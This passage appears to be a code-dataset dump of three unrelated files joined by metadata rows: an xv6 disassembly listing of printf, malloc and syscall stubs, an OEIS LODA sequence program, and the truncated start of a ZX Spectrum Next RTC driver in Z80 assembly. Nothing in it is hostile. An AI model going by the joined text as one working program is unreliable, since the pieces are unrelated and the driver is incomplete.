0000033e <pipe>:
SYSCALL(pipe)
33e: b8 04 00 00 00 mov $0x4,%eax
343: cd 40 int $0x40
345: c3 ret
00000346 <read>:
SYSCALL(read)
346: b8 05 00 00 00 mov $0x5,%eax
34b: cd 40 int $0x40
34d: c3 ret
0000034e <write>:
SYSCALL(write)
34e: b8 10 00 00 00 mov $0x10,%eax
353: cd 40 int $0x40
355: c3 ret
00000356 <close>:
SYSCALL(close)
356: b8 15 00 00 00 mov $0x15,%eax
35b: cd 40 int $0x40
35d: c3 ret
0000035e <kill>:
SYSCALL(kill)
35e: b8 06 00 00 00 mov $0x6,%eax
363: cd 40 int $0x40
365: c3 ret
00000366 <exec>:
SYSCALL(exec)
366: b8 07 00 00 00 mov $0x7,%eax
36b: cd 40 int $0x40
36d: c3 ret
0000036e <open>:
SYSCALL(open)
36e: b8 0f 00 00 00 mov $0xf,%eax
373: cd 40 int $0x40
375: c3 ret
00000376 <mknod>:
SYSCALL(mknod)
376: b8 11 00 00 00 mov $0x11,%eax
37b: cd 40 int $0x40
37d: c3 ret
0000037e <unlink>:
SYSCALL(unlink)
37e: b8 12 00 00 00 mov $0x12,%eax
383: cd 40 int $0x40
385: c3 ret
00000386 <fstat>:
SYSCALL(fstat)
386: b8 08 00 00 00 mov $0x8,%eax
38b: cd 40 int $0x40
38d: c3 ret
0000038e <link>:
SYSCALL(link)
38e: b8 13 00 00 00 mov $0x13,%eax
393: cd 40 int $0x40
395: c3 ret
00000396 <mkdir>:
SYSCALL(mkdir)
396: b8 14 00 00 00 mov $0x14,%eax
39b: cd 40 int $0x40
39d: c3 ret
0000039e <chdir>:
SYSCALL(chdir)
39e: b8 09 00 00 00 mov $0x9,%eax
3a3: cd 40 int $0x40
3a5: c3 ret
000003a6 <dup>:
SYSCALL(dup)
3a6: b8 0a 00 00 00 mov $0xa,%eax
3ab: cd 40 int $0x40
3ad: c3 ret
000003ae <getpid>:
SYSCALL(getpid)
3ae: b8 0b 00 00 00 mov $0xb,%eax
3b3: cd 40 int $0x40
3b5: c3 ret
000003b6 <sbrk>:
SYSCALL(sbrk)
3b6: b8 0c 00 00 00 mov $0xc,%eax
3bb: cd 40 int $0x40
3bd: c3 ret
000003be <sleep>:
SYSCALL(sleep)
3be: b8 0d 00 00 00 mov $0xd,%eax
3c3: cd 40 int $0x40
3c5: c3 ret
000003c6 <uptime>:
SYSCALL(uptime)
3c6: b8 0e 00 00 00 mov $0xe,%eax
3cb: cd 40 int $0x40
3cd: c3 ret
000003ce <randomX>:
SYSCALL(randomX)
3ce: b8 16 00 00 00 mov $0x16,%eax
3d3: cd 40 int $0x40
3d5: c3 ret
000003d6 <setSeedX>:
SYSCALL(setSeedX)
3d6: b8 17 00 00 00 mov $0x17,%eax
3db: cd 40 int $0x40
3dd: c3 ret
000003de <uniformR>:
SYSCALL(uniformR)
3de: b8 18 00 00 00 mov $0x18,%eax
3e3: cd 40 int $0x40
3e5: c3 ret
000003e6 <setdeadline>:
3e6: b8 19 00 00 00 mov $0x19,%eax
3eb: cd 40 int $0x40
3ed: c3 ret
000003ee <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3ee: 55 push %ebp
3ef: 89 e5 mov %esp,%ebp
3f1: 83 ec 18 sub $0x18,%esp
3f4: 8b 45 0c mov 0xc(%ebp),%eax
3f7: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3fa: 83 ec 04 sub $0x4,%esp
3fd: 6a 01 push $0x1
3ff: 8d 45 f4 lea -0xc(%ebp),%eax
402: 50 push %eax
403: ff 75 08 pushl 0x8(%ebp)
406: e8 43 ff ff ff call 34e <write>
40b: 83 c4 10 add $0x10,%esp
}
40e: 90 nop
40f: c9 leave
410: c3 ret
00000411 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
411: 55 push %ebp
412: 89 e5 mov %esp,%ebp
414: 53 push %ebx
415: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
418: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
41f: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
423: 74 17 je 43c <printint+0x2b>
425: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
429: 79 11 jns 43c <printint+0x2b>
neg = 1;
42b: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
432: 8b 45 0c mov 0xc(%ebp),%eax
435: f7 d8 neg %eax
437: 89 45 ec mov %eax,-0x14(%ebp)
43a: eb 06 jmp 442 <printint+0x31>
} else {
x = xx;
43c: 8b 45 0c mov 0xc(%ebp),%eax
43f: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
442: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
449: 8b 4d f4 mov -0xc(%ebp),%ecx
44c: 8d 41 01 lea 0x1(%ecx),%eax
44f: 89 45 f4 mov %eax,-0xc(%ebp)
452: 8b 5d 10 mov 0x10(%ebp),%ebx
455: 8b 45 ec mov -0x14(%ebp),%eax
458: ba 00 00 00 00 mov $0x0,%edx
45d: f7 f3 div %ebx
45f: 89 d0 mov %edx,%eax
461: 0f b6 80 04 0b 00 00 movzbl 0xb04(%eax),%eax
468: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
46c: 8b 5d 10 mov 0x10(%ebp),%ebx
46f: 8b 45 ec mov -0x14(%ebp),%eax
472: ba 00 00 00 00 mov $0x0,%edx
477: f7 f3 div %ebx
479: 89 45 ec mov %eax,-0x14(%ebp)
47c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
480: 75 c7 jne 449 <printint+0x38>
if(neg)
482: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
486: 74 2d je 4b5 <printint+0xa4>
buf[i++] = '-';
488: 8b 45 f4 mov -0xc(%ebp),%eax
48b: 8d 50 01 lea 0x1(%eax),%edx
48e: 89 55 f4 mov %edx,-0xc(%ebp)
491: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
496: eb 1d jmp 4b5 <printint+0xa4>
putc(fd, buf[i]);
498: 8d 55 dc lea -0x24(%ebp),%edx
49b: 8b 45 f4 mov -0xc(%ebp),%eax
49e: 01 d0 add %edx,%eax
4a0: 0f b6 00 movzbl (%eax),%eax
4a3: 0f be c0 movsbl %al,%eax
4a6: 83 ec 08 sub $0x8,%esp
4a9: 50 push %eax
4aa: ff 75 08 pushl 0x8(%ebp)
4ad: e8 3c ff ff ff call 3ee <putc>
4b2: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4b5: 83 6d f4 01 subl $0x1,-0xc(%ebp)
4b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4bd: 79 d9 jns 498 <printint+0x87>
putc(fd, buf[i]);
}
4bf: 90 nop
4c0: 8b 5d fc mov -0x4(%ebp),%ebx
4c3: c9 leave
4c4: c3 ret
000004c5 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4c5: 55 push %ebp
4c6: 89 e5 mov %esp,%ebp
4c8: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
4cb: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4d2: 8d 45 0c lea 0xc(%ebp),%eax
4d5: 83 c0 04 add $0x4,%eax
4d8: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4db: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4e2: e9 59 01 00 00 jmp 640 <printf+0x17b>
c = fmt[i] & 0xff;
4e7: 8b 55 0c mov 0xc(%ebp),%edx
4ea: 8b 45 f0 mov -0x10(%ebp),%eax
4ed: 01 d0 add %edx,%eax
4ef: 0f b6 00 movzbl (%eax),%eax
4f2: 0f be c0 movsbl %al,%eax
4f5: 25 ff 00 00 00 and $0xff,%eax
4fa: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4fd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
501: 75 2c jne 52f <printf+0x6a>
if(c == '%'){
503: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
507: 75 0c jne 515 <printf+0x50>
state = '%';
509: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
510: e9 27 01 00 00 jmp 63c <printf+0x177>
} else {
putc(fd, c);
515: 8b 45 e4 mov -0x1c(%ebp),%eax
518: 0f be c0 movsbl %al,%eax
51b: 83 ec 08 sub $0x8,%esp
51e: 50 push %eax
51f: ff 75 08 pushl 0x8(%ebp)
522: e8 c7 fe ff ff call 3ee <putc>
527: 83 c4 10 add $0x10,%esp
52a: e9 0d 01 00 00 jmp 63c <printf+0x177>
}
} else if(state == '%'){
52f: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
533: 0f 85 03 01 00 00 jne 63c <printf+0x177>
if(c == 'd'){
539: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
53d: 75 1e jne 55d <printf+0x98>
printint(fd, *ap, 10, 1);
53f: 8b 45 e8 mov -0x18(%ebp),%eax
542: 8b 00 mov (%eax),%eax
544: 6a 01 push $0x1
546: 6a 0a push $0xa
548: 50 push %eax
549: ff 75 08 pushl 0x8(%ebp)
54c: e8 c0 fe ff ff call 411 <printint>
551: 83 c4 10 add $0x10,%esp
ap++;
554: 83 45 e8 04 addl $0x4,-0x18(%ebp)
558: e9 d8 00 00 00 jmp 635 <printf+0x170>
} else if(c == 'x' || c == 'p'){
55d: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
561: 74 06 je 569 <printf+0xa4>
563: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
567: 75 1e jne 587 <printf+0xc2>
printint(fd, *ap, 16, 0);
569: 8b 45 e8 mov -0x18(%ebp),%eax
56c: 8b 00 mov (%eax),%eax
56e: 6a 00 push $0x0
570: 6a 10 push $0x10
572: 50 push %eax
573: ff 75 08 pushl 0x8(%ebp)
576: e8 96 fe ff ff call 411 <printint>
57b: 83 c4 10 add $0x10,%esp
ap++;
57e: 83 45 e8 04 addl $0x4,-0x18(%ebp)
582: e9 ae 00 00 00 jmp 635 <printf+0x170>
} else if(c == 's'){
587: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
58b: 75 43 jne 5d0 <printf+0x10b>
s = (char*)*ap;
58d: 8b 45 e8 mov -0x18(%ebp),%eax
590: 8b 00 mov (%eax),%eax
592: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
595: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
599: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
59d: 75 25 jne 5c4 <printf+0xff>
s = "(null)";
59f: c7 45 f4 91 08 00 00 movl $0x891,-0xc(%ebp)
while(*s != 0){
5a6: eb 1c jmp 5c4 <printf+0xff>
putc(fd, *s);
5a8: 8b 45 f4 mov -0xc(%ebp),%eax
5ab: 0f b6 00 movzbl (%eax),%eax
5ae: 0f be c0 movsbl %al,%eax
5b1: 83 ec 08 sub $0x8,%esp
5b4: 50 push %eax
5b5: ff 75 08 pushl 0x8(%ebp)
5b8: e8 31 fe ff ff call 3ee <putc>
5bd: 83 c4 10 add $0x10,%esp
s++;
5c0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5c4: 8b 45 f4 mov -0xc(%ebp),%eax
5c7: 0f b6 00 movzbl (%eax),%eax
5ca: 84 c0 test %al,%al
5cc: 75 da jne 5a8 <printf+0xe3>
5ce: eb 65 jmp 635 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5d0: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5d4: 75 1d jne 5f3 <printf+0x12e>
putc(fd, *ap);
5d6: 8b 45 e8 mov -0x18(%ebp),%eax
5d9: 8b 00 mov (%eax),%eax
5db: 0f be c0 movsbl %al,%eax
5de: 83 ec 08 sub $0x8,%esp
5e1: 50 push %eax
5e2: ff 75 08 pushl 0x8(%ebp)
5e5: e8 04 fe ff ff call 3ee <putc>
5ea: 83 c4 10 add $0x10,%esp
ap++;
5ed: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5f1: eb 42 jmp 635 <printf+0x170>
} else if(c == '%'){
5f3: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5f7: 75 17 jne 610 <printf+0x14b>
putc(fd, c);
5f9: 8b 45 e4 mov -0x1c(%ebp),%eax
5fc: 0f be c0 movsbl %al,%eax
5ff: 83 ec 08 sub $0x8,%esp
602: 50 push %eax
603: ff 75 08 pushl 0x8(%ebp)
606: e8 e3 fd ff ff call 3ee <putc>
60b: 83 c4 10 add $0x10,%esp
60e: eb 25 jmp 635 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
610: 83 ec 08 sub $0x8,%esp
613: 6a 25 push $0x25
615: ff 75 08 pushl 0x8(%ebp)
618: e8 d1 fd ff ff call 3ee <putc>
61d: 83 c4 10 add $0x10,%esp
putc(fd, c);
620: 8b 45 e4 mov -0x1c(%ebp),%eax
623: 0f be c0 movsbl %al,%eax
626: 83 ec 08 sub $0x8,%esp
629: 50 push %eax
62a: ff 75 08 pushl 0x8(%ebp)
62d: e8 bc fd ff ff call 3ee <putc>
632: 83 c4 10 add $0x10,%esp
}
state = 0;
635: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
63c: 83 45 f0 01 addl $0x1,-0x10(%ebp)
640: 8b 55 0c mov 0xc(%ebp),%edx
643: 8b 45 f0 mov -0x10(%ebp),%eax
646: 01 d0 add %edx,%eax
648: 0f b6 00 movzbl (%eax),%eax
64b: 84 c0 test %al,%al
64d: 0f 85 94 fe ff ff jne 4e7 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
653: 90 nop
654: c9 leave
655: c3 ret
00000656 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
656: 55 push %ebp
657: 89 e5 mov %esp,%ebp
659: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
65c: 8b 45 08 mov 0x8(%ebp),%eax
65f: 83 e8 08 sub $0x8,%eax
662: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
665: a1 48 0b 00 00 mov 0xb48,%eax
66a: 89 45 fc mov %eax,-0x4(%ebp)
66d: eb 24 jmp 693 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
66f: 8b 45 fc mov -0x4(%ebp),%eax
672: 8b 00 mov (%eax),%eax
674: 3b 45 fc cmp -0x4(%ebp),%eax
677: 77 12 ja 68b <free+0x35>
679: 8b 45 f8 mov -0x8(%ebp),%eax
67c: 3b 45 fc cmp -0x4(%ebp),%eax
67f: 77 24 ja 6a5 <free+0x4f>
681: 8b 45 fc mov -0x4(%ebp),%eax
684: 8b 00 mov (%eax),%eax
686: 3b 45 f8 cmp -0x8(%ebp),%eax
689: 77 1a ja 6a5 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
68b: 8b 45 fc mov -0x4(%ebp),%eax
68e: 8b 00 mov (%eax),%eax
690: 89 45 fc mov %eax,-0x4(%ebp)
693: 8b 45 f8 mov -0x8(%ebp),%eax
696: 3b 45 fc cmp -0x4(%ebp),%eax
699: 76 d4 jbe 66f <free+0x19>
69b: 8b 45 fc mov -0x4(%ebp),%eax
69e: 8b 00 mov (%eax),%eax
6a0: 3b 45 f8 cmp -0x8(%ebp),%eax
6a3: 76 ca jbe 66f <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
6a5: 8b 45 f8 mov -0x8(%ebp),%eax
6a8: 8b 40 04 mov 0x4(%eax),%eax
6ab: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6b2: 8b 45 f8 mov -0x8(%ebp),%eax
6b5: 01 c2 add %eax,%edx
6b7: 8b 45 fc mov -0x4(%ebp),%eax
6ba: 8b 00 mov (%eax),%eax
6bc: 39 c2 cmp %eax,%edx
6be: 75 24 jne 6e4 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6c0: 8b 45 f8 mov -0x8(%ebp),%eax
6c3: 8b 50 04 mov 0x4(%eax),%edx
6c6: 8b 45 fc mov -0x4(%ebp),%eax
6c9: 8b 00 mov (%eax),%eax
6cb: 8b 40 04 mov 0x4(%eax),%eax
6ce: 01 c2 add %eax,%edx
6d0: 8b 45 f8 mov -0x8(%ebp),%eax
6d3: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6d6: 8b 45 fc mov -0x4(%ebp),%eax
6d9: 8b 00 mov (%eax),%eax
6db: 8b 10 mov (%eax),%edx
6dd: 8b 45 f8 mov -0x8(%ebp),%eax
6e0: 89 10 mov %edx,(%eax)
6e2: eb 0a jmp 6ee <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6e4: 8b 45 fc mov -0x4(%ebp),%eax
6e7: 8b 10 mov (%eax),%edx
6e9: 8b 45 f8 mov -0x8(%ebp),%eax
6ec: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6ee: 8b 45 fc mov -0x4(%ebp),%eax
6f1: 8b 40 04 mov 0x4(%eax),%eax
6f4: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6fb: 8b 45 fc mov -0x4(%ebp),%eax
6fe: 01 d0 add %edx,%eax
700: 3b 45 f8 cmp -0x8(%ebp),%eax
703: 75 20 jne 725 <free+0xcf>
p->s.size += bp->s.size;
705: 8b 45 fc mov -0x4(%ebp),%eax
708: 8b 50 04 mov 0x4(%eax),%edx
70b: 8b 45 f8 mov -0x8(%ebp),%eax
70e: 8b 40 04 mov 0x4(%eax),%eax
711: 01 c2 add %eax,%edx
713: 8b 45 fc mov -0x4(%ebp),%eax
716: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
719: 8b 45 f8 mov -0x8(%ebp),%eax
71c: 8b 10 mov (%eax),%edx
71e: 8b 45 fc mov -0x4(%ebp),%eax
721: 89 10 mov %edx,(%eax)
723: eb 08 jmp 72d <free+0xd7>
} else
p->s.ptr = bp;
725: 8b 45 fc mov -0x4(%ebp),%eax
728: 8b 55 f8 mov -0x8(%ebp),%edx
72b: 89 10 mov %edx,(%eax)
freep = p;
72d: 8b 45 fc mov -0x4(%ebp),%eax
730: a3 48 0b 00 00 mov %eax,0xb48
}
735: 90 nop
736: c9 leave
737: c3 ret
00000738 <morecore>:
static Header*
morecore(uint nu)
{
738: 55 push %ebp
739: 89 e5 mov %esp,%ebp
73b: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
73e: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
745: 77 07 ja 74e <morecore+0x16>
nu = 4096;
747: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
74e: 8b 45 08 mov 0x8(%ebp),%eax
751: c1 e0 03 shl $0x3,%eax
754: 83 ec 0c sub $0xc,%esp
757: 50 push %eax
758: e8 59 fc ff ff call 3b6 <sbrk>
75d: 83 c4 10 add $0x10,%esp
760: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
763: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
767: 75 07 jne 770 <morecore+0x38>
return 0;
769: b8 00 00 00 00 mov $0x0,%eax
76e: eb 26 jmp 796 <morecore+0x5e>
hp = (Header*)p;
770: 8b 45 f4 mov -0xc(%ebp),%eax
773: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
776: 8b 45 f0 mov -0x10(%ebp),%eax
779: 8b 55 08 mov 0x8(%ebp),%edx
77c: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
77f: 8b 45 f0 mov -0x10(%ebp),%eax
782: 83 c0 08 add $0x8,%eax
785: 83 ec 0c sub $0xc,%esp
788: 50 push %eax
789: e8 c8 fe ff ff call 656 <free>
78e: 83 c4 10 add $0x10,%esp
return freep;
791: a1 48 0b 00 00 mov 0xb48,%eax
}
796: c9 leave
797: c3 ret
00000798 <malloc>:
void*
malloc(uint nbytes)
{
798: 55 push %ebp
799: 89 e5 mov %esp,%ebp
79b: 83 ec 18 sub $0x18,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
79e: 8b 45 08 mov 0x8(%ebp),%eax
7a1: 83 c0 07 add $0x7,%eax
7a4: c1 e8 03 shr $0x3,%eax
7a7: 83 c0 01 add $0x1,%eax
7aa: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
7ad: a1 48 0b 00 00 mov 0xb48,%eax
7b2: 89 45 f0 mov %eax,-0x10(%ebp)
7b5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7b9: 75 23 jne 7de <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7bb: c7 45 f0 40 0b 00 00 movl $0xb40,-0x10(%ebp)
7c2: 8b 45 f0 mov -0x10(%ebp),%eax
7c5: a3 48 0b 00 00 mov %eax,0xb48
7ca: a1 48 0b 00 00 mov 0xb48,%eax
7cf: a3 40 0b 00 00 mov %eax,0xb40
base.s.size = 0;
7d4: c7 05 44 0b 00 00 00 movl $0x0,0xb44
7db: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7de: 8b 45 f0 mov -0x10(%ebp),%eax
7e1: 8b 00 mov (%eax),%eax
7e3: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7e6: 8b 45 f4 mov -0xc(%ebp),%eax
7e9: 8b 40 04 mov 0x4(%eax),%eax
7ec: 3b 45 ec cmp -0x14(%ebp),%eax
7ef: 72 4d jb 83e <malloc+0xa6>
if(p->s.size == nunits)
7f1: 8b 45 f4 mov -0xc(%ebp),%eax
7f4: 8b 40 04 mov 0x4(%eax),%eax
7f7: 3b 45 ec cmp -0x14(%ebp),%eax
7fa: 75 0c jne 808 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7fc: 8b 45 f4 mov -0xc(%ebp),%eax
7ff: 8b 10 mov (%eax),%edx
801: 8b 45 f0 mov -0x10(%ebp),%eax
804: 89 10 mov %edx,(%eax)
806: eb 26 jmp 82e <malloc+0x96>
else {
p->s.size -= nunits;
808: 8b 45 f4 mov -0xc(%ebp),%eax
80b: 8b 40 04 mov 0x4(%eax),%eax
80e: 2b 45 ec sub -0x14(%ebp),%eax
811: 89 c2 mov %eax,%edx
813: 8b 45 f4 mov -0xc(%ebp),%eax
816: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
819: 8b 45 f4 mov -0xc(%ebp),%eax
81c: 8b 40 04 mov 0x4(%eax),%eax
81f: c1 e0 03 shl $0x3,%eax
822: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
825: 8b 45 f4 mov -0xc(%ebp),%eax
828: 8b 55 ec mov -0x14(%ebp),%edx
82b: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
82e: 8b 45 f0 mov -0x10(%ebp),%eax
831: a3 48 0b 00 00 mov %eax,0xb48
return (void*)(p + 1);
836: 8b 45 f4 mov -0xc(%ebp),%eax
839: 83 c0 08 add $0x8,%eax
83c: eb 3b jmp 879 <malloc+0xe1>
}
if(p == freep)
83e: a1 48 0b 00 00 mov 0xb48,%eax
843: 39 45 f4 cmp %eax,-0xc(%ebp)
846: 75 1e jne 866 <malloc+0xce>
if((p = morecore(nunits)) == 0)
848: 83 ec 0c sub $0xc,%esp
84b: ff 75 ec pushl -0x14(%ebp)
84e: e8 e5 fe ff ff call 738 <morecore>
853: 83 c4 10 add $0x10,%esp
856: 89 45 f4 mov %eax,-0xc(%ebp)
859: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
85d: 75 07 jne 866 <malloc+0xce>
return 0;
85f: b8 00 00 00 00 mov $0x0,%eax
864: eb 13 jmp 879 <malloc+0xe1>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
866: 8b 45 f4 mov -0xc(%ebp),%eax
869: 89 45 f0 mov %eax,-0x10(%ebp)
86c: 8b 45 f4 mov -0xc(%ebp),%eax
86f: 8b 00 mov (%eax),%eax
871: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
874: e9 6d ff ff ff jmp 7e6 <malloc+0x4e>
}
879: c9 leave
87a: c3 ret
| 34.120219 | 60 | 0.421021 | [
"MIT-0"
] | ansumanpalo/xv6-the_project | genUniR.asm | 43,708 | Assembly |
; A231550: Permutation of nonnegative integers: for each bit[i] in the binary representation, except the most and the least significant bits, set bit[i] = bit[i] XOR bit[i-1], where bit[i-1] is the less significant bit, XOR is the binary logical exclusive or operator.
; Submitted by Christian Krause
; 0,1,2,3,4,7,6,5,8,11,14,13,12,15,10,9,16,19,22,21,28,31,26,25,24,27,30,29,20,23,18,17,32,35,38,37,44,47,42,41,56,59,62,61,52,55,50,49,48,51,54,53,60,63,58,57,40,43,46,45,36,39,34,33,64,67,70,69,76,79,74,73,88,91,94,93,84,87,82,81,112,115,118,117,124,127,122,121,104,107,110,109,100,103,98,97,96,99,102,101
mul $0,2
mov $2,1
lpb $0
mov $3,$0
div $0,2
trn $3,4
add $3,$0
mod $3,2
mul $3,$2
add $1,$3
mul $2,2
lpe
mov $0,$1
| 41.166667 | 307 | 0.674764 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/231/A231550.asm | 741 | Assembly |
;
; TBBlue / ZX Spectrum Next project
; Copyright (c) 2010-2018
;
; RTC SIG - Victor Trucco and Tim Gilberts
;
; All rights reserved
;
; Redistribution and use in source and synthezised forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
;
; Redistributions in synthesized form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; Neither the name of the author nor the names of other contributors may
; be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS CODE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
; THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
; PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
; You are responsible for any legal issues arising from your use of this code.
;
;-------------------------------------------------------------------------------
;
; RTC(SIG).SYS for NextZXOS
;
; Thanks to VELESOFT for the help.
;
; Time stamps added by Tim Gilberts on behalf of Garry (Dios de) Lancaster 9/12/2017
; by code optimization - some notes left in for assumptions.
; V2.1 corrected bit bugs in Month resulting from adding time.
; v2.2 added Signature check for RTC to return Carry if error, removed old DivMMC redundant code for Next
; v2.3 added support for actual seconds in H under NextZXOS with L as 100ths
; if supported or 255 otherwise
;
; This version >256 bytes for extra features in NextZXOS
;
; OUTPUT
; reg BC is Date
; year - 1980 (7 bits) + month (4 bits) + day (5 bits)
; note that DS1307 only supports 2000-2099.
;
; reg DE is Time
; hours (5 bits) + minutes (6 bits) + seconds/2 (5 bits)
;
; reg H is Actual seconds, L is 100ths or 255 if not supported.
;
; Carry set if no valid signature in 0x3e and 0x3f i.e. letters 'ZX'
; this is used to detect no RTC or unset date / time.
;
; ds1307 serial I2C RTC
; 11010001 = 0xD0 = read
; 11010000 = 0xD1 = write
;
; SCL port at 0x103B
; SDA port at 0x113B
;
; Built for Z80ASM in Z88DK
;
; Reference Documents
;
; DS1307 data sheet and MSFAT32 Hardware White Paper
;
; V2 prep to test for ACK on data transmission - needed for other devices
;
PORT equ 0x3B
PORT_CLOCK equ 0x10
PORT_DATA equ 0x11
org 0x2700
START:
; save A and HL
; BC and DE will contain our date and time
; push hl
LD (END_label+1),A
;---------------------------------------------------
; Talk to DS1307 and request the first reg
call START_SEQUENCE
//Freeze(1,4)
ld l,0xD0
call SEND_DATA
;Need to check Carry here and return with error if so? Maybe too far for JR RET C does not restore
; JR C, END
//Freeze(1,3)
ld l,0x3E ;Read from just before registers will loop
call SEND_DATA
